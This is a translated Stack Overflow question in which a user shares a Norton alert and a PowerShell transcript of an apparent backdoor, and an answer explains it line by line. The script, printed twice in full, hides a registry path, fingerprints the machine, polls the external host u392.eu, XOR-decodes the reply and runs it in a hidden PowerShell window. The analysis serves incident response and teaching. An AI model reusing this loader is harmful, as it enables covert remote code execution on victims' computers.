Powershell脚本随机运行(harmfull)[关闭]

ryevplcw  于 2023-10-18  发布在  Shell
关注(0)|答案(1)|浏览(105)

**已关闭。**此问题不符合Stack Overflow guidelines。它目前不接受回答。

这个问题似乎不是关于在help center定义的范围内编程。
上个月关门了。
Improve this question

**所以它发生在随机时间在我的一天一个powershell窗口弹出和关闭的权利,比我的防病毒(诺顿)提醒我。

  • 类别:入侵防御
  • 日期和时间:2019 - 09 - 23 02:29:12
  • 风险:高
  • 活动:172.64.142.7的入侵尝试被阻止。
  • 状态:已阻止
  • 建议采取的措施:无需采取任何措施
  • IPS警报名称:系统感染:木马程序.后门活动748
  • 默认操作:无需采取任何措施
  • 采取的措施:无需采取任何措施
  • 攻击计算机:172.64.142.7,80
  • 攻击者URL:http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695
  • 目标地址:
  • 源地址:172.64.142.7
  • 交通描述:TCP,www-http
  • 来自www.example.com的网络流量http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695%5C%5C%5C与已知攻击的签名相匹配。该攻击是由\DEVICE\HARDDISKVOLUME 7\WINDOWS\EM 32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE造成的。若要停止收到此类通信的通知,请在“动作”面板中单击“停止通知我”。

所以我改变了我的powershell设置,以转录每一个powershell会话,这就是它转录:

**********************

Windows PowerShell transcript start
Start time: 20230909022349
Username: \<myuser\>
RunAs User: \<myuser\>
Configuration Name:
Machine: \<mymachine\>(Microsoft Windows NT 10.0.19045.0)
Host Application: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
Process ID: 7128
PSVersion: 5.1.19041.3031
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.3031
BuildVersion: 10.0.19041.3031
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1

**********************

PS\>\[Security.Cryptography.SHA256\]$sha = \[Security.Cryptography.SHA256\]::Create()
$macguid = (Get-ItemProperty (((\[regex\]::Matches('yhpargotpyrC\\tfosorciM\\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$\_.value}) -join '')) -Name MachineGuid).MachineGUID;
$userid = "$($env:USERDOMAIN)$($env:USERNAME)$($env:PROCESSOR_REVISION)$($env:PROCESSOR_IDENTIFIER)$($env:PROCESSOR_LEVEL)$($env:NUMBER_OF_PROCESSORS)$($macguid)";
$guid = ($sha.ComputeHash(\[Text.Encoding\]::UTF8.GetBytes($userid)) | ForEach-Object ToString X2) -join '';
while ($true) {
try {
$r = Invoke-RestMethod -Uri "http://u392.eu/api/v1/$($guid)"
if ($r -ne '') {
$buf = \[Convert\]::FromBase64String($r);
for ($i = 0; $i -lt $buf.Length; $i++) {
$buf\[$i\] = $buf\[$i\] -bxor 22;
}
$lines = \[Text.Encoding\]::ASCII.GetString($buf).Split("`r`n");
$p = \[Diagnostics.Process\]::new();
$p.StartInfo.WindowStyle = 'Hidden';
$p.StartInfo.FileName = 'powershell.exe';
$p.StartInfo.UseShellExecute = $false;
$p.StartInfo.RedirectStandardInput = $true;
$p.StartInfo.RedirectStandardOutput = $true;
$p.Start();
$p.BeginOutputReadLine();
foreach ($line in $lines) {
$p.StandardInput.WriteLine($line);  
}
$p.StandardInput.WriteLine('');  
$p.WaitForExit();
break;
}
}
catch {
}
Start-Sleep 2
}

PS\>TerminatingError(Invoke-RestMethod): "The underlying connection was closed: An unexpected error occurred on a send." (until i terminate powershell in the task manger it would spam that error)

我将appriciate任何帮助,但我主要是问有关powershell脚本

解释和帮助解决问题

ugmeyewa

ugmeyewa1#

它看起来绝对是恶意的--脚本非常努力地不让任何人知道它在做什么。
我会尽我所能解释每一行是做什么的:

___

[Security.Cryptography.SHA256]$sha =[Security.Cryptography.SHA256]::Create()

创建一个SHA 256对象来散列文本。这基本上是使用一个复杂的数学问题,把一些文本变成一堆“随机”字符。

___

$macguid = (Get-ItemProperty ((([regex]::Matches('yhpargotpyrC\\tfosorciM\\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$_.value}) -join '')) -Name MachineGuid).MachineGUID

从注册表中获取计算机的ID(基本上是每台计算机的唯一ID)。这是第一个表明它是恶意的,因为他们故意向后输入注册表路径(HKLM:SOFTWARE\Microsoft\Cryptography)来伪装它,并使用RightToLeft正则表达式将其翻转回正常状态。

___

$userid = "$($env:USERDOMAIN)$($env:USERNAME)$($env:PROCESSOR_REVISION)$($env:PROCESSOR_IDENTIFIER)$($env:PROCESSOR_LEVEL)$($env:NUMBER_OF_PROCESSORS)$($macguid)"

获取您的域名、用户名、CPU(处理器)类型、CPU数量以及之前的计算机名称。基本上看起来像这样:

contoso.comUser1a600Intel64 Family 6 Model 166 Stepping 0, GenuineIntel6724d2b3499-75c6-9fe7-9a51-428670b3ea5e

___

$guid = ($sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($userid)) | ForEach-Object ToString X2) -join ''

获取所有上述信息,并从一开始就使用SHA 256对象创建一个哈希,它可以将其发送回服务器,以便他们可以解码和使用这些信息。

___

while ($true) {
    try {

这将启动一个while循环,这意味着它将永远运行,直到脚本停止。try语句意味着如果在失败之后运行的任何命令,它将停止并且不继续其余的命令。但它仍然在while循环中,所以它会循环回来再试一次。

___

$r = Invoke-RestMethod -Uri "http://u392.eu/api/v1/$($guid)"

这是最令人担忧的部分。它会将它提取的有关您的计算机,您的用户名,域,域名等的信息发送到该URL(可能是他们的服务器),服务器将向您的计算机发送响应。正如您将在下面看到的那样,响应是另一个PowerShell脚本。由于我们看不到 * 那个 * 脚本,我们不知道它试图做什么,但我们可以假设它是恶意的。

___

if ($r -ne '') {
    $buf = [Convert]::FromBase64String($r)

如果PowerShell收到来自服务器的响应,它会解码该响应。

___

for ($i = 0; $i -lt $buf.Length; $i++) {
    $buf[$i] = $buf[$i] -bxor 22;
}
$lines = [Text.Encoding]::ASCII.GetString($buf).Split("`r`n")

这将循环通过响应,这是另一个PowerShell脚本,并进一步解码每行以将其转换为可运行的脚本。

___

$p = [Diagnostics.Process]::new()
$p.StartInfo.WindowStyle = 'Hidden'
$p.StartInfo.FileName = 'powershell.exe'
$p.StartInfo.UseShellExecute = $false
$p.StartInfo.RedirectStandardInput = $true
$p.StartInfo.RedirectStandardOutput = $true
$p.Start()
$p.BeginOutputReadLine()

在这里,他们启动一个新的PowerShell示例,并确保它被隐藏,这样你就不会在屏幕上看到它。

___

foreach ($line in $lines) {
    $p.StandardInput.WriteLine($line)
}
$p.StandardInput.WriteLine('') 
$p.WaitForExit()

获取前面解码的PowerShell脚本并逐行运行它。

___

Start-Sleep 2

在重新启动之前暂停脚本2秒钟。
同样,由于我们无法看到他们试图在您的机器上运行的其他脚本,我们无法知道他们试图做什么,但这肯定看起来像是恶意攻击。

相关问题